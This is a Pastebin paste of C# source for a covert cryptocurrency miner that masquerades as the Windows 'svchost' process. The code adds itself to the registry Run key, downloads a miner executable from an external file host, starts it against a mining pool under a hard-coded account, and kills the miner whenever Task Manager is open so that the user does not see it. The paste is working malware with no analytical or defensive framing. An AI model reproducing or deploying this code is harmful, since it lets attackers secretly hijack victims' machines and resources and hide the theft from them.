Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Diagnostics;
- using System.Threading;
- using System.Linq;
- using System.Text;
- using System.IO;
- using System.Net;
- using System.Windows.Forms;
- using Microsoft.Win32;
- namespace svchost
- {
- public partial class svchost : Form
- {
- public svchost()
- {
- InitializeComponent();
- }
- static public string appName = "svhost";
- static public string appInfo = "Host process";
- public bool minerStarted = false;
- // Параметры майнера
- static public string poolUrl = "stratum+tcp://bcn.pool.minergate.com:45550";
- static public string miner_x64 = "http://rgho.st/download/8cgnl8tg2/52a421b79c8a1f9bf5099650ad7262b162791e47/svhost.exe";
- static public string miner_x32 = "http://rgho.st/download/8cgnl8tg2/52a421b79c8a1f9bf5099650ad7262b162791e47/svhost.exe";
- static public string userName = "alex.dizaro@yandex.ru";
- static public string userPass = "x";
- public string startInfo = string.Format("-a cryptonight-light -o {0} -u {1} -p {2}", poolUrl, userName, userPass);
- // Добавление в автозагрузку
- public bool addAutorun()
- {
- string ExePath = System.Windows.Forms.Application.ExecutablePath;
- RegistryKey regKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
- try
- {
- regKey.SetValue(appInfo, ExePath);
- regKey.Close();
- }
- catch { return false; }
- return true;
- }
- public bool StartMiner()
- {
- try
- {
- ProcessStartInfo info = new ProcessStartInfo(appName);
- info.Arguments = startInfo;
- System.Diagnostics.Process.Start(info);
- return true;
- }
- catch (Exception)
- {
- WebClient web = new WebClient();
- if (Environment.Is64BitOperatingSystem)
- {
- web.DownloadFile(new Uri(miner_x64), appName + ".exe");
- }
- else
- {
- web.DownloadFile(new Uri(miner_x32), appName + ".exe");
- }
- return true;
- }
- }
- private void svchost_Load(object sender, EventArgs e)
- {
- addAutorun();
- StartMiner();
- taskManagerChecker.Enabled = true;
- }
- private void taskManagerChecker_Tick(object sender, EventArgs e)
- {
- minerStarted = Process.GetProcessesByName("svhost").Any() ? true : false;
- if (Process.GetProcessesByName("Taskmgr").Count() != 0)
- {
- Process[] proc = Process.GetProcesses();
- foreach (Process process in proc)
- if (process.ProcessName == "svhost")
- {
- process.Kill();
- }
- }
- else if (!minerStarted) StartMiner();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement